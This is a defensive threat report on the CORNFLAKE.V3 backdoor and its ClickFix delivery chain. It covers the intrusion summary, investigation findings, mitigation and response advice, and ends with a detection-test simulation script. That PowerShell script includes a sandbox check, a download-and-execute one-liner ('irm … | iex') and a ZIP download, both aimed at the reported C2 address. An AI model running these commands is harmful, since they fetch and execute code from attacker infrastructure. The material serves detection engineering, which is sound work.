A Cereal Offender: Analyzing the CORNFLAKE.V3 Backdoor

Summary

The report outlines a multi-stage intrusion chain that starts with compromised websites delivering a downloader tracked as ClickFix, which then installs the CORNFLAKE.V3 backdoor. Two financially motivated actors are implicated: UNC5518 (access-as-a-service) and UNC5774 (payload deployment). CORNFLAKE.V3 is delivered in Node.js and PHP variants, supports multiple payload formats, and persists via a Registry Run key. Once established, it performs host reconnaissance, steals credentials, and can fetch additional malware.

Investigation

Mandiant traced suspicious PowerShell execution that launched node.exe from a user AppData path using the -e argument. Investigators recovered the PowerShell dropper, the mechanism used to download the Node.js runtime, and the base64-encoded CORNFLAKE.V3 payload. The analysis documented Registry-based persistence, C2 behavior, and post-compromise actions including Active Directory enumeration and Kerberoasting. A related PHP variant was also identified using comparable tradecraft and associated with delivery of a WINDYTWIST.SEA backdoor.

Mitigation

Block or tightly control execution of unknown scripts initiated via the Windows Run dialog, and monitor PowerShell for download-and-execute patterns to suspicious domains or IP addresses. Alert on creation of anomalous Registry Run entries and on node.exe or php.exe running from AppData with script/inline arguments. Strengthen browser controls against clickjacking and SEO-poisoned CAPTCHA lures. Add network egress controls to limit outbound connections to untrusted Node.js/PHP runtime distribution sources.

Response

If detected, isolate the system, stop malicious PowerShell, node.exe, and php.exe processes, and remove the associated Registry persistence values. Collect dropped artifacts, relevant registry hives, and command-line histories for forensics. Rotate credentials impacted by Kerberoasting activity and hunt for lateral movement across the domain. Update detection content with the identified IOCs and TTP patterns.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  The adversary has obtained a foothold on a compromised workstation and wishes to fetch a fresh payload from a remote C2 server while first confirming the environment is not a sandbox.

  1. Environment Check (T1497.002): Query WMI for computer system details.
  2. Download & Execute (T1059.001): Use a single‑liner PowerShell command that constructs a time‑based URL, downloads the script via Invoke‑RestMethod (irm), and pipes it to iex.
  3. Secondary Artifact (T1059.003): Retrieve a ZIP file via Invoke‑WebRequest (iwr) for later use.

• Regression Test Script:

  # ==== Step 1: Environment check (matches selection2) ====
  Get-WmiObject Win32_ComputerSystem | Out-Null
  
  # ==== Step 2: Time‑based download‑and‑execute (matches selection1) ====
  $u = [int64](([datetime]::UtcNow - [datetime]'1970-1-1').TotalSeconds) -band 0xfffffffffffffff0
  # NOTE: The IP/port below is the same as in the rule; replace with a controlled test server if needed.
  irm 138.199.161.141:8080/$u | iex
  
  # ==== Step 3: ZIP download via iwr (matches selection3) ====
  $ZipURL = "http://138.199.161.141:8080/payload.zip"
  $ZipFile = "$env:TEMPpayload.zip"
  iwr -Uri $ZipURL -OutFile $ZipFile

• Cleanup Commands:

  # Remove the downloaded ZIP file
  Remove-Item -Path "$env:TEMPpayload.zip" -Force -ErrorAction SilentlyContinue
  
  # Clear any residual variables
  Remove-Variable -Name u, ZipURL, ZipFile -ErrorAction SilentlyContinue